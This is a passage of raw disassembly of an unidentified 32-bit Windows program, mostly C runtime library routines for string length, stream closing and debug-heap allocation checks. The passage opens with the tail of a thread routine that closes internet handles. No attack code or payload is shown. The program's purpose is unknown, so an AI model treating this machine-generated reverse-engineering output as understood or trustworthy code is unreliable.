call sub_40764A
add esp, 14h
loc_414E81: ; CODE XREF: sub_414C86+1D6j
lea eax, [ebp+var_55C]
push eax
call sub_40F927
pop ecx
push esi
call dword_4D669C ; InternetCloseHandle
push [ebp+var_4]
call dword_4D669C ; InternetCloseHandle
push [ebp+var_1D8]
call sub_409979
pop ecx
push ebx
call dword_4E03A0 ; ExitThread
pop edi
pop esi
pop ebx
jmp dword_4E04D8
sub_414C86 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_414EC0 proc near ; CODE XREF: sub_401000+38p
; .data:004011F1p ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test ecx, 3
jz short loc_414EE0
loc_414ECC: ; CODE XREF: sub_414EC0+19j
mov al, [ecx]
inc ecx
test al, al
jz short loc_414F13
test ecx, 3
jnz short loc_414ECC
add eax, 0
loc_414EE0: ; CODE XREF: sub_414EC0+Aj
; sub_414EC0+36j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_414EE0
mov eax, [ecx-4]
test al, al
jz short loc_414F31
test ah, ah
jz short loc_414F27
test eax, 0FF0000h
jz short loc_414F1D
test eax, 0FF000000h
jz short loc_414F13
jmp short loc_414EE0
; ---------------------------------------------------------------------------
loc_414F13: ; CODE XREF: sub_414EC0+11j
; sub_414EC0+4Fj
lea eax, [ecx-1]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_414F1D: ; CODE XREF: sub_414EC0+48j
lea eax, [ecx-2]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_414F27: ; CODE XREF: sub_414EC0+41j
lea eax, [ecx-3]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_414F31: ; CODE XREF: sub_414EC0+3Dj
lea eax, [ecx-4]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
sub_414EC0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414F40 proc near ; CODE XREF: sub_4010AA+62p
; sub_401C87+3484p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov [ebp+var_4], 0FFFFFFFFh
loc_414F4E: ; CODE XREF: sub_414F40+36j
cmp [ebp+arg_0], 0
jnz short loc_414F72
push offset dword_43449C
push 0
push 3Ah
push offset dword_434490
push 2
call sub_41B010
add esp, 14h
cmp eax, 1
jnz short loc_414F72
int 3 ; Trap to Debugger
loc_414F72: ; CODE XREF: sub_414F40+12j
; sub_414F40+2Fj
xor eax, eax
test eax, eax
jnz short loc_414F4E
mov ecx, [ebp+arg_0]
mov edx, [ecx+0Ch]
and edx, 40h
test edx, edx
jz short loc_414F91
mov eax, [ebp+arg_0]
mov dword ptr [eax+0Ch], 0
jmp short loc_414FB8
; ---------------------------------------------------------------------------
loc_414F91: ; CODE XREF: sub_414F40+43j
mov ecx, [ebp+arg_0]
push ecx
call sub_41AE20
add esp, 4
mov edx, [ebp+arg_0]
push edx
call sub_414FD0
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
push eax
call sub_41AE90
add esp, 4
loc_414FB8: ; CODE XREF: sub_414F40+4Fj
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_414F40 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414FD0 proc near ; CODE XREF: sub_414F40+61p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov [ebp+var_4], 0FFFFFFFFh
mov eax, [ebp+arg_0]
mov [ebp+var_8], eax
loc_414FE6: ; CODE XREF: sub_414FD0+3Ej
cmp [ebp+arg_0], 0
jnz short loc_41500A
push offset dword_4344AC
push 0
push 77h
push offset dword_434490
push 2
call sub_41B010
add esp, 14h
cmp eax, 1
jnz short loc_41500A
int 3 ; Trap to Debugger
loc_41500A: ; CODE XREF: sub_414FD0+1Aj
; sub_414FD0+37j
xor ecx, ecx
test ecx, ecx
jnz short loc_414FE6
mov edx, [ebp+var_8]
mov eax, [edx+0Ch]
and eax, 83h
test eax, eax
jz short loc_41507A
mov ecx, [ebp+var_8]
push ecx
call sub_41B920
add esp, 4
mov [ebp+var_4], eax
mov edx, [ebp+var_8]
push edx
call sub_41B7E0
add esp, 4
mov eax, [ebp+var_8]
mov ecx, [eax+10h]
push ecx
call sub_41B6B0
add esp, 4
test eax, eax
jge short loc_415056
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_41507A
; ---------------------------------------------------------------------------
loc_415056: ; CODE XREF: sub_414FD0+7Bj
mov edx, [ebp+var_8]
cmp dword ptr [edx+1Ch], 0
jz short loc_41507A
push 2
mov eax, [ebp+var_8]
mov ecx, [eax+1Ch]
push ecx
call sub_415C60
add esp, 8
mov edx, [ebp+var_8]
mov dword ptr [edx+1Ch], 0
loc_41507A: ; CODE XREF: sub_414FD0+4Dj
; sub_414FD0+84j ...
mov eax, [ebp+var_8]
mov dword ptr [eax+0Ch], 0
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_414FD0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415090 proc near ; CODE XREF: sub_4010AA+6p
; sub_40879E+63p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push 0
push 0
push 1
mov eax, dword_4DDFE4
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_415110
add esp, 14h
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_415090 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4150C0 proc near ; CODE XREF: sub_415520+20p
; sub_415640+26p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, dword_4DDFE4
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_415110
add esp, 14h
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_4150C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4150F0 proc near ; CODE XREF: sub_419E80+Ap
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push 0
push 0
push 1
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_415110
add esp, 14h
pop ebp
retn
sub_4150F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415110 proc near ; CODE XREF: sub_415090+14p
; sub_4150C0+1Ap ...
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
; FUNCTION CHUNK AT 00415178 SIZE 00000038 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4344E0
push offset sub_41BD64
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFF4h
push ebx
push esi
push edi
loc_415133: ; CODE XREF: sub_415110:loc_41519Dj
push 9
call sub_41BC80
add esp, 4
mov [ebp+var_4], 0
mov eax, [ebp+arg_10]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_4151D0
add esp, 10h
mov [ebp+var_1C], eax
mov [ebp+var_4], 0FFFFFFFFh
call sub_41516D
jmp short loc_415178
sub_415110 endp
; =============== S U B R O U T I N E =======================================
sub_41516D proc near ; CODE XREF: sub_415110+56p
; DATA XREF: .data:004344E8o
push 9
call sub_41BD20
add esp, 4
retn
sub_41516D endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_415110
loc_415178: ; CODE XREF: sub_415110+5Bj
cmp [ebp+var_1C], 0
jnz short loc_415184
cmp [ebp+arg_4], 0
jnz short loc_415189
loc_415184: ; CODE XREF: sub_415110+6Cj
mov eax, [ebp+var_1C]
jmp short loc_41519F
; ---------------------------------------------------------------------------
loc_415189: ; CODE XREF: sub_415110+72j
mov ecx, [ebp+arg_0]
push ecx
call sub_41BB70
add esp, 4
test eax, eax
jnz short loc_41519D
xor eax, eax
jmp short loc_41519F
; ---------------------------------------------------------------------------
loc_41519D: ; CODE XREF: sub_415110+87j
jmp short loc_415133
; ---------------------------------------------------------------------------
loc_41519F: ; CODE XREF: sub_415110+77j
; sub_415110+8Bj
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_415110
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push 0
push 0
push 1
mov eax, [ebp+8]
push eax
call sub_4151D0
add esp, 10h
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4151D0 proc near ; CODE XREF: sub_415110+44p
; .data:004151BDp
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
push edi
mov [ebp+var_C], 0
mov eax, dword_444E70
and eax, 4
test eax, eax
jz short loc_41521C
loc_4151EC: ; CODE XREF: sub_4151D0+4Aj
call sub_416420
test eax, eax
jnz short loc_415216
push offset a_crtcheckmemor ; "_CrtCheckMemory()"
push 0
push 14Ch
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_41B010
add esp, 14h
cmp eax, 1
jnz short loc_415216
int 3 ; Trap to Debugger
loc_415216: ; CODE XREF: sub_4151D0+23j
; sub_4151D0+43j
xor ecx, ecx
test ecx, ecx
jnz short loc_4151EC
loc_41521C: ; CODE XREF: sub_4151D0+1Aj
mov edx, dword_444E74
mov [ebp+var_8], edx
mov eax, [ebp+var_8]
cmp eax, dword_444E78
jnz short loc_415231
int 3 ; Trap to Debugger
loc_415231: ; CODE XREF: sub_4151D0+5Ej
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+var_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
loc_415245: ; DATA XREF: .data:00447B98o
; .data:00447BA0o
push 0
push 1
call off_445240
add esp, 1Ch
test eax, eax
jnz short loc_4152B4
cmp [ebp+arg_8], 0
jz short loc_415287
loc_41525C: ; CODE XREF: sub_4151D0+B3j
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
push offset aClientHookAllo ; "Client hook allocation failure at file "...
push 0
push 0
push 0
push 0
call sub_41B010
add esp, 1Ch
cmp eax, 1
jnz short loc_41527F
int 3 ; Trap to Debugger
loc_41527F: ; CODE XREF: sub_4151D0+ACj
xor edx, edx
test edx, edx
jnz short loc_41525C
jmp short loc_4152AD
; ---------------------------------------------------------------------------
loc_415287: ; CODE XREF: sub_4151D0+8Aj
; sub_4151D0+DBj
push offset aClientHookAl_0 ; "Client hook allocation failure.\n"
push offset aS_20 ; "%s"
push 0
push 0
push 0
push 0
call sub_41B010
add esp, 18h
cmp eax, 1
jnz short loc_4152A7
int 3 ; Trap to Debugger
loc_4152A7: ; CODE XREF: sub_4151D0+D4j
xor eax, eax
test eax, eax
jnz short loc_415287
loc_4152AD: ; CODE XREF: sub_4151D0+B5j
xor eax, eax
jmp loc_4154DC
; ---------------------------------------------------------------------------
loc_4152B4: ; CODE XREF: sub_4151D0+84j
mov ecx, [ebp+arg_4]
and ecx, 0FFFFh
cmp ecx, 2
jz short loc_4152D6
mov edx, dword_444E70
and edx, 1
test edx, edx
jnz short loc_4152D6
mov [ebp+var_C], 1
loc_4152D6: ; CODE XREF: sub_4151D0+F0j
; sub_4151D0+FDj
cmp [ebp+arg_0], 0FFFFFFE0h
ja short loc_4152E7
mov eax, [ebp+arg_0]
add eax, 24h
cmp eax, 0FFFFFFE0h
jbe short loc_415313
loc_4152E7: ; CODE XREF: sub_4151D0+10Aj
; sub_4151D0+13Aj
mov ecx, [ebp+arg_0]
push ecx
push offset aInvalidAllocat ; "Invalid allocation size: %u bytes.\n"
push 0
push 0
push 0
push 1
call sub_41B010
add esp, 18h
cmp eax, 1
jnz short loc_415306
int 3 ; Trap to Debugger
loc_415306: ; CODE XREF: sub_4151D0+133j
xor edx, edx
test edx, edx
jnz short loc_4152E7
xor eax, eax
jmp loc_4154DC
; ---------------------------------------------------------------------------
loc_415313: ; CODE XREF: sub_4151D0+115j
mov eax, [ebp+arg_4]
and eax, 0FFFFh
cmp eax, 4
jz short loc_415360
cmp [ebp+arg_4], 1
jz short loc_415360
mov ecx, [ebp+arg_4]
and ecx, 0FFFFh
cmp ecx, 2
jz short loc_415360
cmp [ebp+arg_4], 3
jz short loc_415360
loc_41533A: ; CODE XREF: sub_4151D0+18Ej
push offset aErrorMemoryAll ; "Error: memory allocation: bad memory bl"...
push offset aS_20 ; "%s"
loc_415344: ; DATA XREF: .data:00447E00o
push 0
push 0
push 0
push 1
call sub_41B010
add esp, 18h
loc_415354: ; DATA XREF: .data:00447FECo
cmp eax, 1
jnz short loc_41535A
int 3 ; Trap to Debugger
loc_41535A: ; CODE XREF: sub_4151D0+187j
xor edx, edx
test edx, edx
jnz short loc_41533A
loc_415360: ; CODE XREF: sub_4151D0+14Ej
; sub_4151D0+154j ...
mov eax, [ebp+arg_0]
add eax, 24h
mov [ebp+var_10], eax
mov ecx, [ebp+var_10]
push ecx
call sub_41BEC0
add esp, 4
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_415385
xor eax, eax
jmp loc_4154DC
; ---------------------------------------------------------------------------
loc_415385: ; CODE XREF: sub_4151D0+1ACj
mov edx, dword_444E74
add edx, 1
mov dword_444E74, edx
cmp [ebp+var_C], 0
jz short loc_4153E3
mov eax, [ebp+var_4]
mov dword ptr [eax], 0
mov ecx, [ebp+var_4]
mov dword ptr [ecx+4], 0
mov edx, [ebp+var_4]
mov dword ptr [edx+8], 0
mov eax, [ebp+var_4]
mov dword ptr [eax+0Ch], 0FEDCBABCh
mov ecx, [ebp+var_4]
mov edx, [ebp+arg_0]
mov [ecx+10h], edx
mov eax, [ebp+var_4]
mov dword ptr [eax+14h], 3
mov ecx, [ebp+var_4]
mov dword ptr [ecx+18h], 0
jmp loc_415483
; ---------------------------------------------------------------------------
loc_4153E3: ; CODE XREF: sub_4151D0+1C8j
mov edx, dword_4DDF70
add edx, [ebp+arg_0]
mov dword_4DDF70, edx
mov eax, dword_4DDF78
add eax, [ebp+arg_0]
mov dword_4DDF78, eax
mov ecx, dword_4DDF78
cmp ecx, dword_4DDF7C
jbe short loc_415419
mov edx, dword_4DDF78
mov dword_4DDF7C, edx
loc_415419: ; CODE XREF: sub_4151D0+23Bj
cmp dword_4DDF74, 0
jz short loc_41542F
mov eax, dword_4DDF74
mov ecx, [ebp+var_4]
mov [eax+4], ecx
jmp short loc_415438
; ---------------------------------------------------------------------------
loc_41542F: ; CODE XREF: sub_4151D0+250j
mov edx, [ebp+var_4]
mov dword_4DDF6C, edx
loc_415438: ; CODE XREF: sub_4151D0+25Dj
mov eax, [ebp+var_4]
mov ecx, dword_4DDF74
mov [eax], ecx
mov edx, [ebp+var_4]
mov dword ptr [edx+4], 0
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_8]
mov [eax+8], ecx
mov edx, [ebp+var_4]
mov eax, [ebp+arg_C]
mov [edx+0Ch], eax
mov ecx, [ebp+var_4]
mov edx, [ebp+arg_0]
mov [ecx+10h], edx
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_4]
mov [eax+14h], ecx
mov edx, [ebp+var_4]
mov eax, [ebp+var_8]
mov [edx+18h], eax
mov ecx, [ebp+var_4]
mov dword_4DDF74, ecx
loc_415483: ; CODE XREF: sub_4151D0+20Ej
push 4
xor edx, edx
mov dl, byte_444E7C
push edx
mov eax, [ebp+var_4]
add eax, 1Ch
push eax
call sub_417700
add esp, 0Ch
push 4
xor ecx, ecx
mov cl, byte_444E7C
push ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_4]
lea ecx, [eax+edx+20h]
push ecx
call sub_417700
add esp, 0Ch
mov edx, [ebp+arg_0]
push edx
xor eax, eax
mov al, byte_444E7E
push eax
mov ecx, [ebp+var_4]
add ecx, 20h
push ecx
call sub_417700
add esp, 0Ch
mov eax, [ebp+var_4]
add eax, 20h
loc_4154DC: ; CODE XREF: sub_4151D0+DFj
; sub_4151D0+13Ej ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4151D0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
push 0
push 0
push 1
mov eax, [ebp+0Ch]
push eax
mov ecx, [ebp+8]
push ecx
call sub_415520
add esp, 14h
mov [ebp-4], eax
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415520 proc near ; CODE XREF: .data:00415502p
; sub_41ACD0+40p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_4]
imul eax, [ebp+arg_0]
mov [ebp+arg_4], eax
mov ecx, [ebp+arg_10]
push ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
call sub_4150C0
add esp, 10h
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz short loc_415579
mov edx, [ebp+var_8]
mov [ebp+var_C], edx
mov eax, [ebp+var_C]
add eax, [ebp+arg_4]
mov [ebp+var_4], eax
loc_415560: ; CODE XREF: sub_415520+57j
mov ecx, [ebp+var_C]
cmp ecx, [ebp+var_4]
jnb short loc_415579
mov edx, [ebp+var_C]
mov byte ptr [edx], 0
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
jmp short loc_415560
; ---------------------------------------------------------------------------
loc_415579: ; CODE XREF: sub_415520+2Fj
; sub_415520+46j
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn
sub_415520 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415580 proc near ; CODE XREF: sub_4010AA+2Cp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push 0
push 0
push 1
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_4155B0
add esp, 14h
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_415580 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4155B0 proc near ; CODE XREF: sub_415580+12p
; sub_419EA0+50p ...
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
; FUNCTION CHUNK AT 0041561E SIZE 00000014 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4345C8
push offset sub_41BD64
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFF4h
push ebx
push esi
push edi
push 9
call sub_41BC80
add esp, 4
mov [ebp+var_4], 0
push 1
mov eax, [ebp+arg_10]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_415640
add esp, 18h
mov [ebp+var_1C], eax
mov [ebp+var_4], 0FFFFFFFFh
call sub_415613
jmp short loc_41561E
sub_4155B0 endp
; =============== S U B R O U T I N E =======================================
sub_415613 proc near ; CODE XREF: sub_4155B0+5Cp
; DATA XREF: .data:004345D0o
push 9
call sub_41BD20
add esp, 4
retn
sub_415613 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4155B0
loc_41561E: ; CODE XREF: sub_4155B0+61j
mov eax, [ebp+var_1C]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_4155B0
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415640 proc near ; CODE XREF: sub_4155B0+4Ap
; sub_415B90+4Ap
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
mov [ebp+var_14], 0
cmp [ebp+arg_0], 0
jnz short loc_415673
mov eax, [ebp+arg_10]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
call sub_4150C0
add esp, 10h
jmp loc_415B4A
; ---------------------------------------------------------------------------
loc_415673: ; CODE XREF: sub_415640+14j
cmp [ebp+arg_14], 0
jz short loc_415696
cmp [ebp+arg_4], 0
jnz short loc_415696
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_415C60
add esp, 8
xor eax, eax
jmp loc_415B4A
; ---------------------------------------------------------------------------
loc_415696: ; CODE XREF: sub_415640+37j
; sub_415640+3Dj
mov eax, dword_444E70
and eax, 4
test eax, eax
jz short loc_4156D2
loc_4156A2: ; CODE XREF: sub_415640+90j
call sub_416420
test eax, eax
jnz short loc_4156CC
push offset a_crtcheckmemor ; "_CrtCheckMemory()"
push 0
push 246h
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_41B010
add esp, 14h
cmp eax, 1
jnz short loc_4156CC
int 3 ; Trap to Debugger
loc_4156CC: ; CODE XREF: sub_415640+69j
; sub_415640+89j
xor ecx, ecx
test ecx, ecx
jnz short loc_4156A2
loc_4156D2: ; CODE XREF: sub_415640+60j
mov edx, dword_444E74
mov [ebp+var_10], edx
mov eax, [ebp+var_10]
cmp eax, dword_444E78
jnz short loc_4156E7
int 3 ; Trap to Debugger
loc_4156E7: ; CODE XREF: sub_415640+A4j
mov ecx, [ebp+arg_10]
push ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+var_10]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
push 2
call off_445240
add esp, 1Ch
test eax, eax
jnz short loc_41576C
cmp [ebp+arg_C], 0
jz short loc_41573F
loc_415714: ; CODE XREF: sub_415640+FBj
mov ecx, [ebp+arg_10]
push ecx
mov edx, [ebp+arg_C]
push edx
push offset aClientHookReAl ; "Client hook re-allocation failure at fi"...
push 0
push 0
push 0
push 0
call sub_41B010
add esp, 1Ch
cmp eax, 1
jnz short loc_415737
int 3 ; Trap to Debugger
loc_415737: ; CODE XREF: sub_415640+F4j
xor eax, eax
test eax, eax
jnz short loc_415714
jmp short loc_415765
; ---------------------------------------------------------------------------
loc_41573F: ; CODE XREF: sub_415640+D2j
; sub_415640+123j
push offset aClientHookRe_0 ; "Client hook re-allocation failure.\n"
push offset aS_20 ; "%s"
push 0
push 0
push 0
push 0
call sub_41B010
add esp, 18h
cmp eax, 1
jnz short loc_41575F
int 3 ; Trap to Debugger
loc_41575F: ; CODE XREF: sub_415640+11Cj
xor ecx, ecx
test ecx, ecx
jnz short loc_41573F
loc_415765: ; CODE XREF: sub_415640+FDj
xor eax, eax
jmp loc_415B4A
; ---------------------------------------------------------------------------
loc_41576C: ; CODE XREF: sub_415640+CCj
cmp [ebp+arg_4], 0FFFFFFDBh
jbe short loc_41579E
loc_415772: ; CODE XREF: sub_415640+155j
mov edx, [ebp+arg_4]
push edx
push offset aAllocationTooL ; "Allocation too large or negative: %u by"...
push 0
push 0
push 0
push 1
call sub_41B010
add esp, 18h
cmp eax, 1
jnz short loc_415791
int 3 ; Trap to Debugger
loc_415791: ; CODE XREF: sub_415640+14Ej
xor eax, eax
test eax, eax
jnz short loc_415772
xor eax, eax
jmp loc_415B4A
; ---------------------------------------------------------------------------
loc_41579E: ; CODE XREF: sub_415640+130j
cmp [ebp+arg_8], 1
jz short loc_4157E6
mov ecx, [ebp+arg_8]
and ecx, 0FFFFh
cmp ecx, 4
jz short loc_4157E6
mov edx, [ebp+arg_8]
and edx, 0FFFFh
cmp edx, 2
jz short loc_4157E6
loc_4157C0: ; CODE XREF: sub_415640+1A4j
push offset aErrorMemoryAll ; "Error: memory allocation: bad memory bl"...
push offset aS_20 ; "%s"
push 0
push 0
push 0
push 1
call sub_41B010
add esp, 18h
cmp eax, 1
jnz short loc_4157E0
int 3 ; Trap to Debugger
loc_4157E0: ; CODE XREF: sub_415640+19Dj
xor eax, eax
test eax, eax
jnz short loc_4157C0
loc_4157E6: ; CODE XREF: sub_415640+162j
; sub_415640+170j ...
mov ecx, [ebp+arg_0]
push ecx
call sub_416900
add esp, 4
test eax, eax
jnz short loc_415817
push offset a_crtisvalidhea ; "_CrtIsValidHeapPointer(pUserData)"
push 0
push 26Eh
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_41B010
add esp, 14h
cmp eax, 1
jnz short loc_415817
int 3 ; Trap to Debugger
loc_415817: ; CODE XREF: sub_415640+1B4j
; sub_415640+1D4j
xor edx, edx
test edx, edx
jnz short loc_4157E6
mov eax, [ebp+arg_0]
sub eax, 20h
mov [ebp+var_8], eax
mov ecx, [ebp+var_8]
cmp dword ptr [ecx+14h], 3
jnz short loc_415836
mov [ebp+var_14], 1
loc_415836: ; CODE XREF: sub_415640+1EDj
cmp [ebp+var_14], 0
jz short loc_41587A
loc_41583C: ; CODE XREF: sub_415640+236j
mov edx, [ebp+var_8]
cmp dword ptr [edx+0Ch], 0FEDCBABCh
jnz short loc_415851
mov eax, [ebp+var_8]
cmp dword ptr [eax+18h], 0
jz short loc_415872
loc_415851: ; CODE XREF: sub_415640+206j
push offset aPoldblockNline ; "pOldBlock->nLine == IGNORE_LINE && pOld"...
push 0
push 278h
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_41B010
add esp, 14h
cmp eax, 1
jnz short loc_415872
int 3 ; Trap to Debugger
loc_415872: ; CODE XREF: sub_415640+20Fj
; sub_415640+22Fj
xor ecx, ecx
test ecx, ecx
jnz short loc_41583C
jmp short loc_4158DE
; ---------------------------------------------------------------------------
loc_41587A: ; CODE XREF: sub_415640+1FAj
mov edx, [ebp+var_8]
mov eax, [edx+14h]
and eax, 0FFFFh
cmp eax, 2
jnz short loc_41589F
mov ecx, [ebp+arg_8]
and ecx, 0FFFFh
cmp ecx, 1
jnz short loc_41589F
mov [ebp+arg_8], 2
loc_41589F: ; CODE XREF: sub_415640+248j
; sub_415640+256j ...
mov edx, [ebp+var_8]
mov eax, [edx+14h]
and eax, 0FFFFh
mov ecx, [ebp+arg_8]
and ecx, 0FFFFh
cmp eax, ecx
jz short loc_4158D8
push offset a_block_typePol ; "_BLOCK_TYPE(pOldBlock->nBlockUse)==_BLO"...
push 0
push 27Fh
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_41B010
add esp, 14h
cmp eax, 1
jnz short loc_4158D8
int 3 ; Trap to Debugger
loc_4158D8: ; CODE XREF: sub_415640+275j
; sub_415640+295j
xor edx, edx
test edx, edx
jnz short loc_41589F
loc_4158DE: ; CODE XREF: sub_415640+238j
cmp [ebp+arg_14], 0
jz short loc_415909
mov eax, [ebp+arg_4]
add eax, 24h
push eax
mov ecx, [ebp+var_8]
push ecx
call sub_41C230
add esp, 8
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz short loc_415907
xor eax, eax
jmp loc_415B4A
; ---------------------------------------------------------------------------
loc_415907: ; CODE XREF: sub_415640+2BEj
jmp short loc_41592C
; ---------------------------------------------------------------------------
loc_415909: ; CODE XREF: sub_415640+2A2j
mov edx, [ebp+arg_4]
add edx, 24h
push edx
mov eax, [ebp+var_8]
push eax
call sub_41C020
add esp, 8
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz short loc_41592C
xor eax, eax
jmp loc_415B4A
; ---------------------------------------------------------------------------
loc_41592C: ; CODE XREF: sub_415640:loc_415907j
; sub_415640+2E3j
mov ecx, dword_444E74
add ecx, 1
mov dword_444E74, ecx
cmp [ebp+var_14], 0
